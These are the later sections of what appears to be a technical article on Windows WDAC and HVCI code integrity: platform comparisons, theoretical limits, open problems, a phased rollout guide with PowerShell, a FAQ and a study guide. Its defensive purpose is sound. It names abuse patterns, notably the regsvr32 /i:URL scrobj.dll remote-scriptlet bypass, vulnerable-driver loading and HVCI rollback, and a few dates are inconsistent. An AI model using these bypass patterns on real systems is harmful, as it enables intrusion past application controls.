macOS combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015) [@wikipedia-sip], and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple [@apple-gatekeeper]. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon [@apple-os-integrity], which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.

Linux ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009 [@linux-ima], with the Extended Verification Module (EVM) for off-line attack protection and dm-verity [@wikipedia-dm-verity] for read-only rootfs verification. IMA is the closest Linux analogue to WDAC's audit pipeline: it can collect file measurements, store them in a kernel-resident list (and extend a TPM PCR if hardware is present), attest them remotely, and appraise them against a "good" value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing's TDX or SEV-SNP overlay, and that is opt-in.

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot [@android-verified-boot], and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD [@wikipedia-dm-verity].

Android combines Android Verified Boot (AVB), introduced in Android 8.0 [@android-verified-boot], which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9) [@android-apk-signing], and v4 (Android 11) [@android-apk-v4]; the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.

Property	Windows (WDAC + HVCI)	macOS	Linux	Android
Tenant-authored policy	Yes (XML)	No	Yes (IMA appraise)	No
Hypervisor-rooted enforcement	Yes (VTL1)	No (silicon-rooted)	No (default)	No
Per-page W$\oplus$X for kernel	Yes (HVCI)	Yes (KIP, fixed)	No (default)	No
Sealed system image	No (modular)	Yes (sealed APFS)	Optional (dm-verity)	Yes (Verified Boot)
Per-load runtime check	Yes (every PE)	Yes (every Mach-O)	Optional (IMA)	App install / Zygote
Trust anchor	Microsoft + tenant	Apple only	TPM PCR / tenant	AVB key + Google Play
Documented bypass class	LOLBINs + BYOVD	Notarization gaps	Off-by-default IMA	Sandbox escapes

The Windows distinction is structural. A hypervisor-rooted runtime enforcement loop, against an XML-schema author-anywhere policy, evaluated at every PE load by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft's September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.

The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.

The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.

8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface

Fred Cohen proved in his 1984 paper Computer Viruses -- Theory and Experiments that the general problem WDAC tries to solve is undecidable. "Detection of a virus is shown to be undecidable both by a-priori and runtime analysis," [@cohen-eecs588] Cohen wrote in the abstract, "and without detection, containment is, in general, impossible." Cohen completed his Ph.D. at USC in 1986 [@wikipedia-fred-cohen], where Leonard Adleman (the A in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in Computers & Security in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- is this exact bag of bytes, with this exact signature, on the trusted list? -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.

Key idea: WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn't fixed; it is the empirical residue of an undecidable problem.

Henry Gordon Rice's 1951 doctoral result at Syracuse University [@wikipedia-rices-theorem]: every non-trivial semantic property of a Turing-complete program is undecidable. "Will this program ever execute arbitrary code from a network argument?" is a semantic property. Rice's theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft's bypass catalogue [@ms-bypass-catalogue] -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.

The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that write a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of existing executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in RET instructions, all of which were already in the kernel's executable text section, and the resulting computation is Turing-complete. Kernel Data Protection [@ms-kdp-blog] closes the data-corruption variant -- attackers shifting from modify code to modify data that drives code -- but the control-flow attack class remains.

The Driver Block List arms race is the third structural limit. Microsoft's own Learn page on the Block List [@ms-driver-blocklist] says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor's installed base.

It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions. -- Microsoft Learn, Microsoft recommended driver block rules, 2026.

The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD [@ms-hyperv-bounty] on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does not break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft's view of how much it values an attack that compromises the HVCI substrate from above.

Bound	Source	What it implies
Cohen 1986 lower bound	Cohen, Computer Viruses -- Theory and Experiments [@cohen-eecs588]	General malware detection is undecidable; allowlists are the only decidable primitive
Rice's theorem lower bound	Rice 1951 [@wikipedia-rices-theorem]	Static analysis cannot decide non-trivial semantic properties of LOLBINs
Reachable bound	WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint	Decidable allowlist + curated deny list + EDR telemetry on the residual
Residual surface	ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback	Microsoft response: KDP, hash-pinned bypass list, VMDRC reporting [@ms-wdsi-driver], KB5042562 [@nvd-cve-2024-21302]

A short proof-by-existence: the July 2024 Windows Downdate disclosure [@safebreach-downdate] used a downgrade attack to roll back HVCI's own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with KB5042562 and the opt-in revocation policy [@nvd-cve-2024-21302] -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.

WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.

9. Open Problems: Where Research Lives Today

Five live research directions sit on the frontier of the runtime enforcement loop. Each is the next generation of one of the residuals named in section eight.

Data-only attacks against HVCI and KDP coverage. KDP closes the data-corruption gap, but only opt-in per driver [@ms-kdp-blog] -- the driver author has to call MmProtectDriverSection for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.

BYOVD-class drivers faster than the Block List update cadence. The Block List ships quarterly, with monthly Windows updates as the delivery mechanism [@ms-driver-blocklist]; the LOLDrivers community catalogue [@loldrivers] operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center [@ms-wdsi-driver] is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.

Signed-but-vulnerable user-mode binaries. The forty-entry bypass catalogue [@ms-bypass-catalogue] keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, "regsvr32 with /i:URL arguments" can be denied even when "regsvr32 without arguments" is allowed. Some of this lives in Defender's ASR rules [@ms-asr-rules] today; none of it lives inside WDAC's static schema.

HVCI rollback (CVE-2024-21302 Windows Downdate). Alon Leviev's Black Hat USA 2024 disclosure [@safebreach-downdate] used the Windows Update flow itself to downgrade HVCI's substrate to an older, vulnerable version -- "I successfully downgraded Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities." Mitigation was completed July 8, 2025 with KB5042562 [@nvd-cve-2024-21302]. But the Windows Update takeover that delivered the downgrade remains unpatched [@safebreach-downdate-update] because Microsoft does not consider admin-to-kernel a security boundary; "Gaining kernel code execution as an Administrator is not considered as crossing a security boundary." The open direction is mandatory dbx hygiene plus UEFI-locked monotonic version counters for VBS binaries.

I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world. -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.

The post-CrowdStrike user-mode-security pivot. The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft's September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets [@paragmali-com-secure-kernel] is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI's silicon dependency improves for legacy fleets.The LOLDrivers catalogue [@loldrivers] tracks new BYOVD entries on a daily cadence; recent April 2026 entries include iOCdrv.sys and Windows_CPU_Temperature_Component.sys, both classified as "Vulnerable driver." The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor's installed base on a Wednesday.

These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is not contested -- the operational discipline a 2026 administrator should follow today.

10. Practical Guide: A Phased Rollout for a 2026 Estate

If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.

Phase 0 (week 1) -- silicon verification. Run Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard against a representative sample. Confirm that AvailableSecurityProperties includes 1 (hypervisor support), 2 (Secure Boot), and 7 (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later [@ms-memory-integrity]). Confirm that VirtualizationBasedSecurityStatus = 2 on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented "HVCI-incapable" exception with an EDR-only compensating control.

Note: Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having "a bigger impact on performance" than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.

Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce. Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy RecommendedDriverBlock_Enforced.xml [@ms-driver-blocklist] standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the Microsoft-Windows-DeviceGuard/Operational channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.

Phase 2 (weeks 5-10) -- WDAC base policy in audit mode. Author a base policy from DefaultWindows_Audit.xml [@ms-example-policies] using New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. Deploy in audit. Iterate New-CIPolicy -Audit against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don't be that rollout.

Phase 3 (weeks 11-16) -- sign and enforce. Sign the base policy (Add-SignerRule -Update, Set-RuleOption -Option 6 -Delete, ConvertFrom-CIPolicy, signtool.exe [@ms-rule-options]). Validate the signed policy on a wave-1 subset before fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-vmdrc-blog] at the Defender for Endpoint policy layer. Integrate the CodeIntegrity-Operational channel into your SIEM [@ms-asr-rules] via Defender for Endpoint advanced hunting -- the DeviceEvents table is your join point.

Note: A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the <UpdatePolicySigner> element of the currently active policy before you ship the new policy. Always increment VersionEx monotonically. None of these are nice-to-haves.

Phase 4 (ongoing) -- continuous tuning. Quarterly: refresh the Driver Block List policy [@ms-driver-blocklist]; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list [@ms-bypass-catalogue] against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue [@loldrivers] for new vulnerable drivers your environment ships.

Note: Audit volume goes near-zero before enforce, not "low" before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.

The "do not do" list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the VersionEx boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft's own AppLocker overview [@ms-applocker-overview] disqualifies the feature as a security boundary. Do not turn HVCI off to "fix" driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.

```powershell Get-CimInstance -ClassName Win32_DeviceGuard ` -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object AvailableSecurityProperties, VirtualizationBasedSecurityStatus, SecurityServicesRunning, CodeIntegrityPolicyEnforcementStatus ``` Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.

After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop's continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.

11. FAQ: The Misconceptions This Article Closes

Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.

No. They share the AppLocker Application Identity service [@ms-applocker-overview] for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature [@ms-acfb-overview], meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker [@ms-applocker-overview] as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses. No. NX (the No-Execute bit on x86-64) is a permission bit the CPU's MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state [@ms-kdp-blog] held in the hypervisor's page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX's enforcement substrate is editable by the attacker; HVCI's is not. No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the `CodeIntegrity-Operational` channel [@ms-driver-blocklist] records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the July 2025 KB5042562 mitigation [@nvd-cve-2024-21302] closed that vector for the documented CVE. No. Smart App Control [@ms-sac-support] is the same `CI.dll` engine consuming an example WDAC policy (`SmartAppControl.xml` / `SignedReputable.xml` [@ms-example-policies]) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph [@ms-isg], the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers. No. Microsoft holds back blocks for compatibility [@ms-driver-blocklist] -- the canonical Microsoft Learn position is that breaking an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim "hold back some blocks" quote anchors the §8 PullQuote above. The LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months. No. The Microsoft Learn memory-integrity page [@ms-memory-integrity] reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill. Only if you remove the Script Enforcement opt-out (rule option 11, `Disabled:Script Enforcement` [@ms-rule-options]). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue [@ms-bypass-catalogue] -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode. Mostly. But some policy options change behaviour even in audit mode -- for example, `Disabled:Runtime FilePath Rule Protection` [@ms-rule-options] removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.

Key idea: A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.

That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.

<StudyGuide slug="wdac-hvci-code-integrity-at-every-layer-in-windows" keyTerms={[ { term: "WDAC", definition: "Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll." }, { term: "HVCI", definition: "Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries." }, { term: "BYOVD", definition: "Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution." }, { term: "VTL0 / VTL1", definition: "Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker." }, { term: "Squiblydoo", definition: "Casey Smith's April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient." }, { term: "SiPolicy XML", definition: "The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners." }, { term: "Driver Block List", definition: "Microsoft's recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+." }, { term: "ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5", definition: "The Defender for Endpoint 'Block abuse of exploited vulnerable signed drivers' rule that pairs with the Block List as the EDR-side telemetry partner." }, { term: "Cohen 1984/1986", definition: "Fred Cohen's 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector." }, { term: "Rice's theorem", definition: "Henry Gordon Rice's 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated." } ]} questions={[ { q: "What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?", a: "CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W->X SLAT refusal that emits CodeIntegrity-Operational event 3033." }, { q: "Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?", a: "Because the publisher rule scopes trust to the binary's signer, not the binary's behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch." }, { q: "What is the architectural inversion HVCI performs against Joanna Rutkowska's 2006 Blue Pill argument?", a: "Blue Pill argued the hypervisor was the attacker's substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender's substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1." }, { q: "Why does the Driver Block List always lag behind the LOLDrivers community catalogue?", a: "Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle." }, { q: "What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?", a: "Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run." } ]} />